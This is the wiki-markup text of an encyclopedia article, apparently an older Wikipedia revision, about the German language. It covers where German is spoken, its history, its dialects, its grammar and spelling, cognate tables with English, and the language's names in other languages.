|nativename=Deutsch
|familycolor=Indo-European
|pronunciation=[ˈdɔʏtʃ]
|states=[[Germany]], [[Austria]], [[Switzerland]], [[Liechtenstein]], [[Belgium]], [[Italy]], [[France]], [[Luxembourg]], and 37 other countries.
|region=[[Western Europe]]
|speakers=Native speakers: 110 million&lt;br&gt;Second language: 120 million
|rank=11
|fam1=[[Indo-European languages|Indo-European]]
|fam2=[[Germanic languages|Germanic]]
|fam3=[[West Germanic languages|West Germanic]]
|nation=[[Germany]], [[Austria]], [[Liechtenstein]], [[Switzerland]], [[Luxembourg]], [[Belgium]], [[European Union]]. 
Regional or local official language in: [[Denmark]], [[Italy]],
[[Poland]], (Official language of [[Namibia]] until 1990). |iso1=de|iso2b=ger|iso2t=deu|iso3=deu|sil=GER}}

'''German''' (''{{Audio|de-Deutsch.ogg|Deutsch}}''), is a member of the western group of [[Germanic languages]] (and [[Indo-European languages]]) and one of the world's major [[language]]s. 

Worldwide, German accounts for the most written [[translation]]s into and from a language and according to the [[Guinness Book of Records]] German belongs to the ten most spoken languages worldwide. After English, German is the second largest of the [[Germanic language]]s. 

German is the language with the most native speakers and the second most learned [[second language]] in the [[European Union]], after English and just before French. Spoken by more than 120 million people in 38 countries of the world, German is — like English and French — a [[pluricentric language]] with [[Germany]], [[Austria]] and [[Switzerland]] as the three main centers of usage .

==Geographic distribution==
[[Image:Map_German_World.png|400px|right|Some major German-speaking communities]]
German is spoken primarily in [[Germany]], [[Austria]], [[Liechtenstein]], [[Luxembourg]], in two-thirds of [[Switzerland]], in two-thirds of the [[South Tyrol]] [[province of Italy]] (in German, ''Südtirol''), in the small [[German speaking community in Belgium|East Cantons]] of [[Belgium]], and in some border villages of the [[South Jutland County]] (in German, ''Nordschleswig'', in Danish, ''Sønderjylland'') of [[Denmark]].

In [[Luxembourg]] (in German, ''Luxemburg''), as well as in the French ''[[régions]]'' of [[Alsace]] (in German, ''Elsass'') and parts of [[Lorraine (région)|Lorraine]] (in German, ''Lothringen''), the native populations speak several German dialects, and some people also master standard German (especially in Luxembourg), although in Alsace and Lorraine [[French language|French]] has for the most part replaced the local German dialects in the last 40 years.

Some German speaking communities still survive in parts of [[Romania]], the [[Czech Republic]], [[Hungary]], and above all [[Russia]], [[Kazakhstan]] and [[Poland]], although massive relocations to Germany in the late [[1940s]] and [[1990s]] have depopulated most of these communities.

Outside of Europe and the former [[Soviet Union]], the largest German speaking communities are to be found in the [[USA]] and in [[Brazil]] where millions of Germans migrated in the last 200 years; but the great majority of their descendants no longer speak German. Additionally, German speaking communities are to be found in the former German colony of [[Namibia]], as well as in the other countries of German emigration such as [[Canada]], [[Argentina]], [[Paraguay]], [[Uruguay]], [[Chile]], [[Peru]], [[Venezuela]] (where [[Alemán Coloneiro]] developed), [[Thailand]],  and [[Australia]]. See also [[Plautdietsch]].

In the USA, the largest concentration of German speakers are in [[Pennsylvania]] ([[Amish]], [[Hutterites]] and some [[Mennonites]] speak [[Pennsylvania German]] and [[Hutterite German]]), [[Texas]] ([[Texas German]]), [[Kansas]] ([[Mennonites]] and [[Volga Germans]]), [[North Dakota]], [[South Dakota]], [[Montana]], [[Wisconsin]] and [[Indiana]]. Early twentieth century immigration was often to [[St. Louis]], [[Chicago]], [[New York]], and [[Cincinnati]].  Most of the post [[Second World War]] wave are in the [[New York]], [[Los Angeles]], and [[Chicago]] [[urban area|urban areas]], and in [[Florida]]. In Brazil the largest concentrations of German speakers are in [[Rio Grande do Sul]] (where [[Riograndenser Hunsrückisch]] was developed), [[Santa Catarina (state)|Santa Catarina]], [[Paraná]], and [[Espírito Santo]]. Generally, German immigrant communities in the USA have lost their mother tongue more quickly than those who moved to South America, possibly due to the fact that for German  speakers, English is easier to learn than Portuguese or Spanish.

In [[Canada]] there are people of German ancestry throughout the country and especially in the west as well as in [[Ontario]]. There is a large and vibrant community in the city of [[Kitchener]], [[Ontario]].

German is the main language of about 100 million people in Europe (as of [[2004]]), or 13.3% of all Europeans, being the most spoken native language in Europe excluding [[Russia]], above [[French language|French]] (66.5 million speakers in Europe in 2004) and [[English language|English]] (64.2 million speakers in Europe in 2004). German is the third most taught [[foreign language]] worldwide, also in the [[United States|USA]] (after [[Spanish language|Spanish]] and French); it is the second most known foreign language in the [[European Union|EU]] (after English; see [http://europa.eu.int/comm/public_opinion/archives/ebs/ebs_237.en.pdf]) It is one of the official [[languages of the European Union]], and one of the three [[working language]]s of the EU, along with English and French.

==History==
{{main|History of the German language}}
The history of the German language begins with the [[High German consonant shift]] during the [[Migration period]], separating [[South Germanic]] dialects from common [[West Germanic]]. The earliest testimonies of [[Old High German]] are from scattered [[Elder Futhark]] inscriptions, especially in [[Alemannic]], from the [[6th century]], the earliest glosses (''[[Abrogans]]'') date to the [[8th century|8th]] and the oldest coherent texts (the ''[[Hildebrandslied]]'', the ''[[Muspilli]]'' and the [[Merseburg Incantations]]) to the [[9th century]]. [[Old Saxon]] at this time belongs to the [[North Sea Germanic]] cultural sphere, and [[Low German]] should fall under German rather than [[Anglo-Frisian]] influence during the [[Holy Roman Empire]].

As Germany was divided into many different [[state]]s, the only force working for a unification or [[standard language|standardisation]] of German during a period of several hundred years was the general preference of writers trying to write in a way that could be understood in the largest possible area.

When [[Martin Luther]] translated the [[Bible]] (the [[New Testament]] in [[1522]] and the [[Old Testament]], published in parts and completed in [[1534]]) he based his translation mainly on this already developed language, which was the most widely understood language at this time. This language was based on Eastern Upper and Eastern Central German dialects and preserved much of the grammatical system of Middle High German (unlike the spoken German dialects in Central and Upper Germany that already at that time began to lose the genitive case and the preterit tense). In the beginning, copies of the Bible had a long list for each region, which translated words unknown in the region into the regional dialect. [[Roman Catholics]] rejected Luther's translation in the beginning and tried to create their own Catholic standard (''gemeines Deutsch'') — which, however, only differed from 'Protestant German' in some minor details. It took until the middle of the [[18th century]] to create a standard that was widely accepted, thus ending the period of [[Early New High German]].

German used to be the language of commerce and government in the [[Habsburg Empire]], which encompassed a large area of Central and Eastern Europe. Until the mid-[[19th century]] it was essentially the language of townspeople throughout most of the Empire. It indicated that the speaker was a [[merchant]], an urbanite, not their nationality. Some cities, such as [[Prague]] (German: ''Prag'') and [[Budapest]] ([[Buda]], German: ''Ofen''), were gradually [[Germanization|Germanized]] in the years after their incorporation into the Habsburg domain. Others, such as [[Bratislava]] (German: ''Pressburg''), were originally settled during the Habsburg period and were primarily German at that time. A few cities such as [[Milan]] (German: ''Mailand'') remained primarily non-German. However, most cities were primarily German during this time, such as Prague, [[Budapest]], Bratislava, [[Zagreb]] (German: ''Agram''), and [[Ljubljana]] (German: ''Laibach''), though they were surrounded by territory that spoke other languages.

Until about [[1800]], standard German was almost only a written language. In this time, people in urban northern Germany, who spoke dialects very different from Standard German, learnt it almost like a foreign language and tried to pronounce it as close to the spelling as possible. Prescriptive pronunciation guides used to consider that northern German pronunciation to be the standard. However, the actual pronunciation of standard German varies from region to region.

Media and written works are almost all produced in standard German (often called ''Hochdeutsch'' in German), which is understood in all areas of German languages (except by pre-school children in areas which speak only dialect, for example [[Switzerland]] — but in this age of TV, even they now usually learn to understand Standard German before school age).

The first dictionary of the [[Brothers Grimm]], the 16 parts of which were issued between [[1852]] and [[1860]], remains the most comprehensive guide to the words of the German language. In [[1860]], grammatical and orthographic rules first appeared in the ''[[Duden Handbook]]''. In [[1901]], this was declared the standard definition of the German language. Official revisions of some of these rules were not issued until [[1998]], when the [[German spelling reform of 1996]] was  officially promulgated by governmental representatives of all German-speaking countries. Since the reform, German spelling has been in an eight-year transitional period where the reformed spelling is taught in most schools, while traditional and reformed spelling co-exist in the media. See [[German spelling reform of 1996]] for an overview of the heated public debate concerning the reform.

==Classification and related languages==
[[Image:FrancLowUpperHigh.PNG|right|thumb|300px|By the [[High German consonant shift]], the Dutch-German [[dialect continuum]] is divided into [[Low Franconian|Franconian / Low Frankish]] (Brown), [[Upper German]] (blue) and [[Central German]] (green), and the [[Low German]] (yellow).  The main isoglosses, the Benrath and Speyer lines are marked in red.]]
[[Image:DutchGerman.PNG|right|thumb|300px|The German and [[Dutch language|Dutch]] standard language [[language border]].]]
German is a member of the [[West Germanic language|western branch]] of the [[Germanic languages|Germanic]] family of languages, which in turn is part of the [[Indo-European language family]].

===Neighboring languages===

In these modern days Germany is surrounded by [[language border]]s, in the north by the [[Frisian language|Frisian]] and [[Danish language|Danish]]; in the east [[Polish language|Polish]], [[Sorbian language|Sorbian]], [[Czech language|Czech]], [[Slovak language|Slovak]], and [[Hungarian language|Hungarian]]; in the south [[Slovenian language|Slovenian]], [[Italian language|Italian]], [[Friulian language|Friulian]], [[Ladin language|Ladin]], and [[Romansh language|Romansh]]; in the west [[French language|French]]. Except for Frisian and Dutch, none of these languages are West Germanic, and so they are clearly distinct from German. Frisian, after Scots, the closest related living language to English; and Dutch, the closest related living language to German are generally considered not to be [[mutual intelligibility|mutually intelligible]] with German. Although a [[dialect continuum]] still exist at certain places along the Dutch-German language border this is fading away because of standardisation in both countries, as can be seen in the pictures to the right in which the dialectal borders and the standard borders can be seen. 

While German is grammatically quite similar to Dutch in many ways, it is very different in speech. Speakers of one, especially Germans, require practice to effectively understand a speaker of the other. Compare, for example:
:''De kleinste kameleon is volwassen 2 cm groot, de grootste kan wel 80 cm lang worden.'' (Dutch)
:''Das kleinste Chamäleon ist ausgewachsen 2 cm groß, das größte kann gut 80 cm lang werden.'' (German)
: (English: &quot;The smallest chameleon is fully grown 2 cm long, the longest can easily attain 80 cm.&quot;)

Dutch speakers are generally able to read German, and German speakers who can speak Low German or English are generally able to read Dutch, but have problems understanding the spoken language, although Germans who speak High German, or, even better, Low German, can cope with Dutch much better than people from Southern Germany, Switzerland and Austria who have grown up with the Alemannic or Bavarian dialects.

===Official status===
Standard German is the only official language in [[Germany]], [[Liechtenstein]], and [[Austria]]; it shares official status in [[Switzerland]] (with [[French (language)|French]], [[Italian (language)|Italian]] and [[Romansh]]), and [[Luxembourg]] (with [[French (language)|French]] and [[Luxembourgish language|Luxembourgish]]). It is used as a local official language in German-speaking regions of [[Belgium]], [[Italy]], [[Denmark]], and [[Poland]].  It is one of the 20 official [[languages of the European Union]].

It is also a minority language in [[Poland]], [[Canada]], [[France]], [[Russia]], the [[Czech Republic]], [[Lithuania]], [[Latvia]], [[Estonia]], [[Romania]], [[Togo]], [[Cameroon]], the [[United States|USA]], [[Namibia]], [[Brazil]], [[Paraguay]], [[Hungary]], [[Slovakia]], [[Kazakhstan]], [[Tajikistan]], [[Croatia]], [[Ukraine]], [[Argentina]], and [[Australia]].
'
German was once the [[lingua franca]] of central, eastern and northern Europe, but first [[Russian language|Russian]] and now [[English language|English]] have assumed much of this role. However, German remains one of the most popular foreign languages taught world-wide, and is more popular than French as a foreign language in Europe. 8% of citizens of the EU-15 countries say they can converse in German, in addition to the 24% who speak German as a mother tongue.[http://europa.eu.int/comm/education/policies/lang/languages/index_en.html] This is assisted by the availability of German TV by cable or satellite, where series like [[Star Trek]] are shown [[Dubbing (filmmaking)|dubbed]] into German.

German is also the second language of the [[Internet]], more than 8% of the websites are in German ([[English language|English]] 50%, [[French language|French]] 6%, [[Japanese language|Japanese]] 5%, [[Spanish language|Spanish]] 3% and [[Portuguese Language|Portuguese]] 2%).

==Dialects==
{{main|German dialects}}
The term &quot;German&quot; is used for the dialects of Germany, Austria, German-speaking Switzerland (that is, outside the [[French language|French]]-, [[Italian language|Italian]]-, and [[Romansh language|Romansch]]-speaking areas) and some areas in the surrounding countries, as well as for several [[colony|colonies]] and other ethnic concentrations founded by German-speaking people (for example [[German in the United States]]).

The variation among the German dialects is considerable. Only the neighbouring dialects are mutually understandable. Most dialects are not understandable for someone who knows standard German. However, all German dialects belong to the [[dialect continuum]] of the continental [[West Germanic languages]] because any pair of neighbouring dialects is perfectly mutually intelligible.

The dialect continuum of the continental West Germanic languages is typically divided into [[Low Germanic languages]] and [[High Germanic languages]].

'''Low Germanic''' is defined as the varieties that were not affected by the [[High German consonant shift]]. They consist of two subgroups, [[Low Franconian language|Low Franconian]] and [[Low German]]. Low Franconian includes [[Dutch language|Dutch]] and [[Afrikaans]], spoken primarily in the Netherlands, Belgium, Surinam and South Africa; Low German includes dialects spoken primarily in the German [[Northern European Lowlands|Lowlands]] and in the eastern Netherlands. The Low German varieties are considered dialects of the German language by some, but a separate language by others; the Low Franconian varieties are not considered a part of the German language (see [[#Neighboring languages|above]] for a discussion of the distinction between German and Dutch).

'''High Germanic''' is divided into [[Central German]] and [[Upper German language|Upper German]]. Central German dialects include [[Ripuarian]], [[Moselle Franconian]], [[Rhine Franconian]], [[Hessian language|Hessian]], [[Thuringian language|Thuringian]] and [[Upper Saxon dialect|Upper Saxon]]. It is spoken in the southeastern Netherlands, eastern Belgium, Luxembourg, parts of France, and in Germany approximately between the River [[Main]] and the southern edge of the Lowlands. Modern Standard German is mostly based on Central German, but it should be noted that the usual German term for modern Standard German is ''Hochdeutsch'', that is, ''High German''.

The Moselle Franconian varieties spoken in [[Luxembourg]] have been officially standardized and institutionalized and are therefore usually considered a separate language, [[Luxembourgish language]].

Upper German dialects include [[Alemannic German|Alemannic]] (for instance [[Swiss German]]), [[Swabian German|Swabian]], [[East Franconian German|East Franconian]], and [[Austro-Bavarian language|Austro-Bavarian]]. They are spoken in parts of the [[Alsace]], southern Germany, Liechtenstein, Austria, and in the German-speaking parts of Switzerland and Italy.

The High German varieties spoken by [[Ashkenazi Jew]]s (mostly in the former [[Soviet Union]]) have several unique features, and are usually considered as a separate language, [[Yiddish]]. It is the only Germanic language that does not use the [[Latin alphabet]] as its [[official script|standard script]].

The dialects of German which are or were primarily spoken in colonies founded by German speaking people resemble the dialects of the regions the founders came from (for example [[Pennsylvania German language|Pennsylvania German]] resembles dialects of the [[Rhenish Palatinate|Palatinate]], or [[Hutterite German]] resembles dialects of [[Carinthia (state)|Carinthia]], while [[Venezuelan]] ''[[Alemán Coloniero]]'' is a [[Low Alemannic]] variant).

In Brazil the largest concentrations of German speakers ([[German Brazilians]]) are in [[Rio Grande do Sul]], where [[Riograndenser Hunsrückisch]] was developed, especially in the areas of [[Santa Catarina]], [[Paraná]], and [[Espírito Santo]]. 

In the [[United States]], the teaching of the German language to latter-age students has given rise to a pidgin variant which combines the German language with the grammar and spelling rules of the English language. It is often understandable by either party. The speakers of this language often refer to it as ''Amerikanisch'' or ''Amerikanischdeutsch'', although it is known in English as [[American German]].

==Standard German==
{{main|Standard German}}
In German linguistics, only the traditional regional varieties are called dialects, not the different varieties of standard German.

Standard German has originated not as a traditional dialect of a specific region, but as a [[written language]]. However, there are places where the traditional regional dialects have been replaced by standard German (especially in major cities of Germany, and to some extent in Vienna).

Standard German differs regionally, especially between German-speaking countries, especially in [[vocabulary]], but also in some instances of [[pronunciation]] and even [[grammar]]. This variation must not be confused with the variation of local dialects. Even though the regional varieties of standard German are to a certain degree influenced by the local dialects, they are very distinct. German is thus considered a [[pluricentric language]]. 

In most regions, the speakers use a continuum of mixtures from more dialectical varieties to more standard varieties according to situation.

In the German-speaking parts of Switzerland, mixtures of dialect and standard are very seldom used, and the use of standard German is almost entirely restricted to the written language. Therefore, this situation has been called a ''medial [[diglossia]]''. Standard German is rarely spoken, for instance when speaking with people who do not understand the [[Swiss German]] dialects at all, and it is expected to be used in school.

==Grammar==
''Main article: [[German grammar]]''

German is an [[inflected language]].

===Noun inflection===
German nouns inflect into:
* one of four [[declension class]]es
* one of three [[grammatical gender|genders]]: masculine, feminine, or neutral. Word endings indicate some grammatical genders; others are arbitrary and must be memorised.
* two numbers: singular and plural
* four cases: [[nominative]], [[genitive]], [[dative]], and [[accusative case]]. 

Although German is usually cited as an outstanding example of a highly inflected language, it should be noted that the degree of inflection is considerably less than in Old German, or in Icelandic today.  The three genders have collapsed in the plural, which now behaves, grammatically, somewhat as a fourth gender.  With four cases and three genders plus plural there are 16 distinct possible combinations of case and gender/number, but presently there are only six forms of the definite article used for the 16 possibilities. Inflection for case on the noun itself is required in the singular for strong masculine and neuter nouns in the genitive and sometimes in the dative. This dative ending is considered somewhat old-fashioned in many contexts and often dropped, but it is still used in sayings and in formal speech or written language. Weak masculine nouns share a common case ending for genitive, dative and accusative in the singular. Feminines are not declined in the singular. The plural does have an inflection for the dative. In total, six inflectional endings (not counting plural markers) exist in German: ''-s, -es, -n, -en, -ns, -e''

In the German orthography nouns and most words with the syntactical function of nouns are capitalized, which makes it quite easy for readers to find out what function a word has within the sentence. On the other hand, things get more difficult for the writer. This spelling convention is almost unique to German today (shared perhaps only by the closely related [[Luxembourgish]] language), although it was historically common in other languages (e.g., [[Danish language|Danish]]), too.

Like most Germanic languages, German forms left-branching noun [[compound (linguistics)|compound]]s, where the first noun modifies the category given by the second, for example: ''Hundehütte'' (eng. ''doghouse''). Unlike English, where newer compounds or combinations of longer nouns are often written in ''open'' form with separating spaces, German (like the other German languages) always uses the ''closed'' form without spaces, for example: Baumhaus (eng. ''tree house''). Like English, German allows arbitrarily long compounds, but these are rare. (''See also'' [[English compounds]].)
The longest official German word is [[Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz]]. There is even a child's game played in kindergartens and primary schools where a child begins the spelling of a word (which is not told) by naming the first letter. The next one tells the next letter, the third one tells the third and so on. The game is over when the a child can not think of another letter to be added to the word (see [[Ghost (game)|Ghost]]).

===Verb Inflection===
Standard German verbs inflect into:
* one of two conjugation classes, [[weak verb|weak]] and [[strong verb|strong]] (like English). 
(note: in fact there is a third class, called &quot;gemischte Verben&quot;, which can be either weak (&quot;active meaning&quot;) or strong (&quot;passive meaning&quot;))
There are about 200 strong or irregular verbs.
* three persons: 1st, 2nd, 3rd.
* two numbers: singular and plural
* three [[Grammatical mood|mood]]s: Indicative, Subjunctive, Imperative
* two [[Grammatical voice|genera verbi]]: active and passive; the passive being composed and dividable into static and dynamic.
* 2 non-composed tenses (Present, [[Preterite]]) and 4 composed tenses (Perfect, Plusquamperfect, Future I, Future II)
* no distinction between aspects (in English, perfect and progressive; in Polish between completed and incompleted form; in Turkish between first-hand and second-hand information)

There are also many ways to expand, and sometimes radically change, the meaning of a base verb through several prefixes. Examples: haften=to stick, verhaften=to imprison; kaufen=to buy, verkaufen=to sell

The word order is much more flexible than in English. The word order can be changed for subtle changes of a sentence's meaning. In normal positive sentences the verb always has position 2, in questions it has position 1.

Most German vocabulary is derived from the Germanic branch of the [[Indo-European language family]], although there are significant minorities of words derived from [[Latin]], [[French language|French]], and most recently [[English language|English]] (which is known as [[Germish]]).

==Writing system==
German is written using the [[Latin alphabet]]. In addition to the 26 standard letters, German has three vowels with [[Umlaut]], namely ''ä'', ''ö'' and ''ü'', as well as a special symbol for &quot;ss&quot;, the Eszett or Scharfes-S (sharp &quot;s&quot;) ''[[ß]]''. In traditional German spelling, ''ß'' replaces any inseparable &quot;ss&quot;, while it appears only after long vowels or diphthongs in [[German spelling reform of 1996|reform spelling]]. ''ß'' is not used at all in [[Switzerland]].

Until the early [[20th century]], German was mostly printed in [[blackletter]] [[typefaces]] (mostly in [[fraktur (typeface)|Fraktur]], but also in [[Schwabacher]]) and written in corresponding [[handwriting]] (for example [[Kurrent]] and [[Sütterlin]]). These variants of the Latin alphabet are very different from the serif or sans serif [[antiqua]] typefaces used today, and are difficult for the untrained to read. They were abolished by the [[Nazis]] (incorrectly claiming that these letters are Jewish) in [[1941]] but this has been retained for broader and easier usability.

==Alphabet==
''Main article: [[German alphabet]]''.
==Phonology==
''Main article: [[German phonology]]'' (pronunciation, historical sound changes).

==Cognates with English==
There are many German words that are [[cognate]] to [[English language|English words]]. Most of them are easily identifiable and have almost the same meaning.  

{| class=&quot;wikitable&quot;
|- bgcolor=#FFDEAD
! '''German'''
!  Meaning of German word
!  English cognate
|-
|best- || best || best
|-
|Bett || bed || bed
|-
|Bub (''regional'') || boy || boy
|-
|essen || to eat || to eat
|-
|Finger || finger || finger
|-
|haben || to have || to have
|-
|Haus || house || house
|-
|Katze || cat || cat
|-
|Laus || louse || louse
|-
|Läuse || lice || lice
|-
|Butter || butter || butter
|-
|Milch || milk || milk
|-
|lachen || to laugh || to laugh
|-
|Maus || mouse || mouse
|-
|Mäuse || mice || mice
|-
|Nacht || night || night
|-
|Pfeife || pipe || pipe, fife
|-
|Schiff || ship || ship
|-
|singen, sang, gesungen || sing, sang, sung || sing, sang, sung
|-
|sinken, sank, gesunken || sink, sank, sunken || sink, sank, sunk
|-
|fallen, fiel, gefallen || fall, fell, fallen || fall, fell, fallen
|-
|hören || to hear || hear
|-
|schwimmen || to swim || swim
|-
|Tag || day || day
|-
|Wetter || weather || weather
|-
|Wille || will (''noun'')|| will
|-
|Sommer || summer || summer
|-
|Winter || winter || winter
|}

When these cognates have slightly different consonants, this is often due to the [[High German consonant shift]].

There are cognates whose meanings in either language have changed through the centuries. It is sometimes difficult for both English and German speakers to discern the relationship.  On the other hand, once the definitions are made clear, then the logical relation becomes obvious.
{| class=&quot;wikitable&quot;
|- bgcolor=#FFDEAD
! '''German'''
! Meaning of German word
! English cognate
! Comment
|-
|Baum || tree || beam || Both derive from Old High German ''boum'' meaning &quot;tree&quot;. It is the English one which, in Anglo-Saxon and Old English, has radically changed its meaning several times.
|-
|bekommen || to get || to become ||
|-
|drehen || to turn || to throw ||
|-
|ernten || to harvest || to earn ||
|-
|fechten || to fence (''sport'') || to fight ||
|-
|Gift || poison || gift ||
|-
|Hund || dog || hound ||
|-
|kaufen || to buy || cheap, chapman ||
|-
|Knabe (''formal'')|| boy || knave ||
|-
|Knecht || servant || knight ||
|-
|Kopf || head || cup || Latin ''cuppa'' 'bowl'; cf. French ''tête'', from Latin ''testa'' 'shell/bowl'
|-
|nehmen || take || numb || sensation has been &quot;taken away&quot;; cf. German ''benommen'', 'dazed' 
|-
|raten || to guess, to advise || to read ||
|-
|ritzen || to scratch || to write ||
|-
|Schmerz || pain || smart ||
|-
|rächen || to take revenge || to wreak (havoc) ||
|-
|Tisch || table || dish || Latin ''discus''
|-
|Wald || forest || weald ||
|-
|werden || to become || weird || see [[wyrd]]
|-
|werfen || throw || to warp ||
|-
|Zeit || time || tide || the root is re-used in German ''Gezeiten'' 'tides'
|}

German and English also share many borrowings from other languages, especially from [[Latin]], [[French language|French]] and [[Greek language|Greek]], but also from many other languages. Most of these word have the same meaning, while a few have subtle differences in meaning. As many of these words have been borrowed by numerous languages, not only German and English, they are called ''[[internationalism (linguistics)|internationalisms]]'' in German [[linguistics]].
{| class=&quot;wikitable&quot;
|- bgcolor=#FFDEAD
! '''German'''
! Meaning of German word
! language of origin
|-
|Armee || army || French
|-
|Arrangement || arrangement || French
|-
|Chance || opportunity || French
|-
|Courage || courage || French
|-
|Chuzpe || chutzpah || Yiddish
|-
|Disposition || disposition || Latin
|-
|Feuilleton || feuilleton || French
|-
|Futur || future tense || Latin
|-
|Genre || genre || French
|-
|Mikroskop || microscope || Greek
|-
|Partei || political party || French
|-
|Position || position || Latin
|-
|positiv || positive || Latin
|-
|Prestige || prestige || French
|-
|Psychologie || psychology || Greek
|-
|Religion || religion || Latin
|-
|Tabu || taboo || Tongan
|-
|Zigarre || cigar || Spanish
|-
|Zucker || sugar || Sanskrit, via Arabic
|}

==Examples of German==
{| class=&quot;wikitable&quot;
|- bgcolor=#FFDEAD
! Translation
! Phrase
! IPA
|-
|German || ''Deutsch'' || {{IPA|/ˈdɔʏtʃ/}}
|-
|hello || ''Hallo'' || {{IPA|/ˈhaloː/}}
|-
|good morning || ''Guten Morgen'' || {{IPA|/ˈguːtən ˈmɔrgən/}}
|-
|good day || ''Guten Tag'' || {{IPA|/ˈguːtən ˈtaːk/}}
|-
|good evening || ''Guten Abend'' || {{IPA|/ˈguːtən ˈaːbənt/}}
|-
|good night || ''Gute Nacht'' || {{IPA|/ˈguːtə ˈnaxt/}}
|-
|good-bye || ''Auf Wiedersehen'' || {{IPA|/aʊf ˈviːdərˌzeːn/}}
|-
|please || ''Bitte'' || {{IPA|/ˈbɪtə/}}
|-
|thank you || ''Danke'' || {{IPA|/ˈdaŋkə/}}
|-
|that || ''Das'' || {{IPA|/das/}}
|-
|how much? || ''Wie viel?'' || {{IPA|/ˌvi ˈfiːl/}}
|-
|yes || ''Ja'' || {{IPA|/ˈjaː/}}
|-
|no || ''Nein'' || {{IPA|/ˈnaɪn/}}
|-
|Where is the toilet? || ''Wo ist die Toilette?'' || {{IPA|/ˈvoː ˈɪst diː to̯aˈlɛtə/}}
|-
|generic toast || ''Prosit'' &lt;br&gt;''Prost'' || {{IPA|/ˈproːzit/}} &lt;br&gt;{{IPA|/ˈproːst/}}
|-
|Do you speak English? || ''Sprechen Sie Englisch?'' || {{IPA|/ˈʃprɛçən ˈziː ˈɛŋlɪʃ/}}
|-
|I do not understand || ''Ich verstehe nicht'' || {{IPA|/ˈɪç fɛrˈʃteːə ˈnɪçt/}}
|-
|Excuse me || ''Entschuldigung'' || {{IPA|/ɛntˈʃʊldɪgʊŋ/}} 
|-
|I don't know || ''Ich weiß nicht'' || {{IPA|/ˈɪç ˈvaɪs ˈnɪçt/}}
|}

==Names of the German language in other languages==
Because of the turbulent history of both Germany and the German language, the names that other peoples have chosen to use to refer to it varies more than for most other languages.

In general, the names for the German language can be arranged in five groups according to their origin:

{| border=&quot;0&quot; cellpadding=&quot;5&quot;
|- valign=&quot;top&quot;
| '''1.''' From the proto-Germanic word for &quot;people&quot;, &quot;folk&quot;:

*[[Afrikaans language|Afrikaans]]: ''Duits''
*[[Chinese language|Chinese]]: 德語 (''déyǔ'') or 德意志語 (déyìzhiyǔ)
*[[Danish language|Danish]]: ''tysk''
*[[Dutch language|Dutch]]: ''Duits''
*[[Faroese language|Faroese]]: ''týskt''
*German: ''Deutsch''
*[[Icelandic language|Icelandic]]: ''þýska''
*[[Italian language|Italian]]: ''tedesco''
*Medieval [[Latin language|Latin]]: ''(lingua) Theodisca''
*[[Japanese language|Japanese]]: ドイツ語, 独逸語 (''doitsugo'')
*[[Korean language|Korean]]: 독일어, 獨逸語 (''dogireo'')
*[[Norwegian language|Norwegian]]: ''tysk''
*[[Marathi language|Marathi]]: ''Daitya Bhaasha''
*[[Romansh language|Romansh]]: ''tudestg''
*[[Swedish language|Swedish]]: ''tyska''
*[[Vietnamese language|Vietnamese]]: ''tiếng Đức''
*[[Yiddish]]: טײַטש (''daytsch'' or ''daytsh'')

| '''2.''' From the name of the historical-geographical region Germany (Latin ''Germania''):

*[[Albanian language|Albanian]]: ''gjermanishte''
*[[Amharic]]: ጀርመን (''järmän'')
*[[Armenian Language|Armenian]]: գերմաներեն (''Germaneren'')
*[[English language|English]]: ''German''
*[[Esperanto]]: ''germana lingvo''
*[[Georgian language|Georgian]]: გერმანული (''germanuli'') 
*[[Greek language|Greek]]: Γερμανικά (''jermaniká'')
*[[Hebrew language|Hebrew]]: גרמנית (''germanit'')
*[[Hindi]]: जर्मनी की भाशा (''jarmanī kī bhāshā'')
*[[Irish language|Irish]]: ''Gearmáinis''
*[[Malay language|Malay]]/[[Indonesian language|Indonesian]]: ''bahasa Jerman''
*[[Maltese language|Maltese]]: ''Ġermaniż''
*[[Romanian language|Romanian]]: ''Germană''
*[[Thai language|Thai]]: ภาษาเยอรมัน (''phasa yerman'')


| '''3.''' From the name of the [[Saxon people|Saxonian]] tribe:

*[[Estonian language|Estonian]]: ''saksa''
*[[Finnish language|Finnish]]: ''saksa''

|- valign=&quot;top&quot;
| '''4.''' From either the Old Slavic word for &quot;mute&quot; or the name of the Nemetes tribe:

*[[Bulgarian language|Bulgarian]]: немски (''nemski'')
*[[Croatian language|Croatian]]: ''njemački''
*[[Czech language|Czech]]: ''němčina''
*[[Hungarian language|Hungarian]]: ''német''
*[[Ottoman Turkish language|Ottoman Turkish]]: ''nemçe''
*[[Polish language|Polish]]: ''niemiecki''
*[[Romanian language|Romanian]]: ''nemţeşte''
*[[Russian language|Russian]]: немецкий (''nemetskiy'')
*[[Serbian language|Serbian]]: немачки / nemački
*[[Slovak language|Slovak]]: ''nemčina''
*[[Slovenian language|Slovenian]]: ''nemščina''
*[[Ukrainian language|Ukrainian]]: німецька (''nimetska'')

| '''5.''' From the name of the [[Alamanni|Alemannian]] tribe:

*[[Arabic language|Arabic]]: ألمانية (''alimāniyyah'')
*[[Basque language|Basque]]: ''alemanera''
*[[Breton language|Breton]]: ''alamaneg''
*[[Catalan language|Catalan]]: ''alemany''
*[[French language|French]]: ''allemand''
*[[Galician language|Galician]]: ''alemán''
*[[Ilokano]]: ''Aleman''
*[[Khmer language|Khmer]]:&amp;nbsp;[[Image:GerKh2.png|75px]]&amp;nbsp;({{IPA|/pʰiːəsaː&amp;nbsp;aːləmɒŋ/}})
*[[Malagasy]]: ''alema''
*[[Occitan language|Occitan]]: ''alemand''
*[[Persian language|Persian]]: آلمانی (Âlmâni)
*[[Portuguese language|Portuguese]]: ''alemão''
*[[Spanish language|Spanish]]: ''alemán''
*[[Tagalog]]: ''Aleman''
*[[Turkish language|Turkish]]: ''Almanca''
*[[Welsh language|Welsh]]: ''Almaeneg''

| '''6.''' Possibly from the Germanic word &quot;folk&quot;:

*[[Latvian language|Latvian]]: ''vācu''
*[[Lithuanian language|Lithuanian]]: ''vokiečių''

|}

[[Lao language|Lao]] is unique in that both under the influence of English &quot;German&quot; (through Thai &quot;yeraman&quot;) and French (the colonial language) &quot;Allemand&quot;, it chose a name in between: ພາສາເຢຍລະມັນ (''phaxa yeylaman''), which could be ranked both under category 2 and category 5.

Note: The Romanian language used to use in the past the Slavonic term &quot;nemţeşte&quot;, but &quot;Germană&quot; is now widely used. Hungarian &quot;német&quot; is also a Slavonic loan-word. The Arabic name for Austria, النمسا (&quot;an-namsa&quot;), is derived from the Slavonic term.

